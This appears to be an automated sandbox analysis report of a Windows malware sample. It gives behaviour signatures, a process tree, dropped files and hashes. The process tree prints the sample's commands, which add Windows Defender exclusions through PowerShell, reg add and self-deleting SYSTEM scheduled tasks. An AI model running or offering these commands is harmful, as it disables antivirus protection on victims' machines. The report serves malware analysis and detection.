Analysis

  • max time kernel
    146s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/09/2026, 00:34

General

  • Target
    2026-09-06_77fa1400ff1bdb647ab70c68b9ebc419_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
  • Size 25.4MB
  • Sample260907-awtk2stvat
  • SHA256 afa620260b929d1204cd0bd7c53dac1751567fd36201f7f4279e63c006dc515f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Detects executables containing artifacts associated with disabling Widnows Defender 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-09-06_77fa1400ff1bdb647ab70c68b9ebc419_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-09-06_77fa1400ff1bdb647ab70c68b9ebc419_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:5024
  • C:\Users\Public\tWZlrN\udYdcN.exe
    "C:\Users\Public\tWZlrN\udYdcN.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1944
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:5796
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\tWZlrN\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:5316
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\tWZlrN\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4212
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:1256
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:900
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:4168
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3756
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:4380
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:1452
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:2448
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4452
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:5716
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:2128
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:2800
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4188
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:4456
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:5676
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:4180
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:5448
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:2492
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:3228
                        • C:\Program Files (x86)\4fabxv\4fabxv.exe
                          "C:\Program Files (x86)\4fabxv\4fabxv.exe"
                          2⤵
                            PID:4392
                        • C:\Users\Public\tWZlrN\udYdcN.exe
                          "C:\Users\Public\tWZlrN\udYdcN.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:4064
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:3420
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\tWZlrN" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:3024
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\tWZlrN" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:4320
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:4144
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:2308
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:1468
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:6052

                          Network

                                MITRE ATT&CK Enterprise v16

                                Replay Monitor

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                                Downloads

                                4fabxv.exe

                                • Path C:\Program Files (x86)\4fabxv\4fabxv.exe
                                • Size 145KB
                                • SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                XPSPLOG.dll

                                • Path C:\Program Files (x86)\4fabxv\XPSPLOG.dll
                                • Size 4.6MB
                                • SHA256 8f7cc1b9579058d1e423d5659c7d5c94e383f2ae8a86cecfe497fb5ae7374162
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                image.png

                                • Path C:\Program Files (x86)\4fabxv\image.png
                                • Size 4.8MB
                                • SHA256 20775dd309d817bb13d1a021a964d4695c2d82bbf0a3ed82f50527b3e2306809
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                thumbs.db

                                • Path C:\Program Files (x86)\4fabxv\thumbs.db
                                • Size 358KB
                                • SHA256 f2249cd3cd6063a478918f3e9753d8bfead5ac9b8ff27d0fbc435e93552642cb
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UxEnhance64.dll

                                • Path C:\Users\Public\tWZlrN\UxEnhance64.dll
                                • Size 3.1MB
                                • SHA256 3a3a83c5909cbf748252a062e60b1d6384f5a9d01ee97afb3d3672a37eb0194a
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                adoresd.dat

                                • Path C:\Users\Public\tWZlrN\adoresd.dat
                                • Size 4.7MB
                                • SHA256 72cf9750d1f65f03b5a5db9b7dd3dc8541555f699bffb447f6cd1a5ea7492233
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                msadox.tb

                                • Path C:\Users\Public\tWZlrN\msadox.tb
                                • Size 8KB
                                • SHA256 fc095dc8ee651c99376d16acae3365bbee6e3d901258831fbe67d55fb91f8b30
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                udYdcN.exe

                                • Path C:\Users\Public\tWZlrN\udYdcN.exe
                                • Size 135KB
                                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                memory/1944-545-0x000001C330570000-0x000001C330DF7000-memory.dmp

                                memory/1944-560-0x000001C330E90000-0x000001C330F1A000-memory.dmp

                                memory/1944-539-0x000001C330570000-0x000001C330DF7000-memory.dmp

                                memory/1944-544-0x000001C330570000-0x000001C330DF7000-memory.dmp

                                memory/1944-538-0x00007FFA6DCC0000-0x00007FFA6DCC2000-memory.dmp

                                memory/1944-546-0x000001C330570000-0x000001C330DF7000-memory.dmp

                                memory/1944-550-0x000001C330570000-0x000001C330DF7000-memory.dmp

                                memory/1944-556-0x000001C32FAE0000-0x000001C32FB2E000-memory.dmp

                                memory/1944-557-0x000001C330E90000-0x000001C330F1A000-memory.dmp

                                memory/1944-543-0x000001C330570000-0x000001C330DF7000-memory.dmp

                                memory/1944-561-0x000001C330E90000-0x000001C330F1A000-memory.dmp

                                memory/1944-559-0x000001C330E90000-0x000001C330F1A000-memory.dmp

                                memory/1944-563-0x000001C330570000-0x000001C330DF7000-memory.dmp

                                memory/1944-565-0x000001C330570000-0x000001C330DF7000-memory.dmp

                                memory/1944-566-0x000001C330570000-0x000001C330DF7000-memory.dmp

                                memory/1944-536-0x000001C330570000-0x000001C330DF7000-memory.dmp

                                memory/1944-531-0x00007FFA4B070000-0x00007FFA4B58E000-memory.dmp

                                memory/1944-530-0x00007FFA6DCB0000-0x00007FFA6DCB2000-memory.dmp

                                memory/4064-579-0x000001C4CF420000-0x000001C4CFCA7000-memory.dmp

                                memory/4064-578-0x00007FFA6DCC0000-0x00007FFA6DCC2000-memory.dmp

                                memory/4064-586-0x000001C4CF420000-0x000001C4CFCA7000-memory.dmp

                                memory/4064-585-0x000001C4CF420000-0x000001C4CFCA7000-memory.dmp

                                memory/4064-587-0x00007FFA6DCB0000-0x00007FFA6DCB2000-memory.dmp

                                memory/4064-584-0x000001C4CF420000-0x000001C4CFCA7000-memory.dmp

                                memory/4064-583-0x000001C4CF420000-0x000001C4CFCA7000-memory.dmp

                                memory/4064-576-0x000001C4CF420000-0x000001C4CFCA7000-memory.dmp

                                memory/4064-573-0x00007FFA4B070000-0x00007FFA4B58E000-memory.dmp

                                memory/4392-683-0x0000000003510000-0x0000000003CED000-memory.dmp

                                memory/4392-682-0x0000000000E60000-0x0000000000E61000-memory.dmp

                                memory/4392-680-0x0000000003510000-0x0000000003CED000-memory.dmp

                                memory/4392-687-0x0000000003510000-0x0000000003CED000-memory.dmp

                                memory/4392-676-0x0000000074450000-0x0000000074B9A000-memory.dmp

                                memory/4392-675-0x0000000000E40000-0x0000000000E41000-memory.dmp

                                memory/4392-694-0x0000000003E70000-0x0000000003E84000-memory.dmp

                                memory/5024-2-0x0000000002150000-0x000000000215C000-memory.dmp

                                memory/5024-525-0x00007FFA65970000-0x00007FFA65982000-memory.dmp

                                memory/5024-524-0x0000000002040000-0x000000000204E000-memory.dmp

                                memory/5024-0-0x0000000002040000-0x000000000204E000-memory.dmp

                                memory/5024-504-0x00007FFA65970000-0x00007FFA65982000-memory.dmp

                                memory/5024-1-0x0000000002040000-0x000000000204E000-memory.dmp

                                memory/5796-607-0x0000017B50E90000-0x0000017B50E9A000-memory.dmp

                                memory/5796-606-0x0000017B50DD0000-0x0000017B50E82000-memory.dmp

                                memory/5796-605-0x0000017B50DB0000-0x0000017B50DCE000-memory.dmp

                                memory/5796-602-0x0000017B50B60000-0x0000017B50B82000-memory.dmp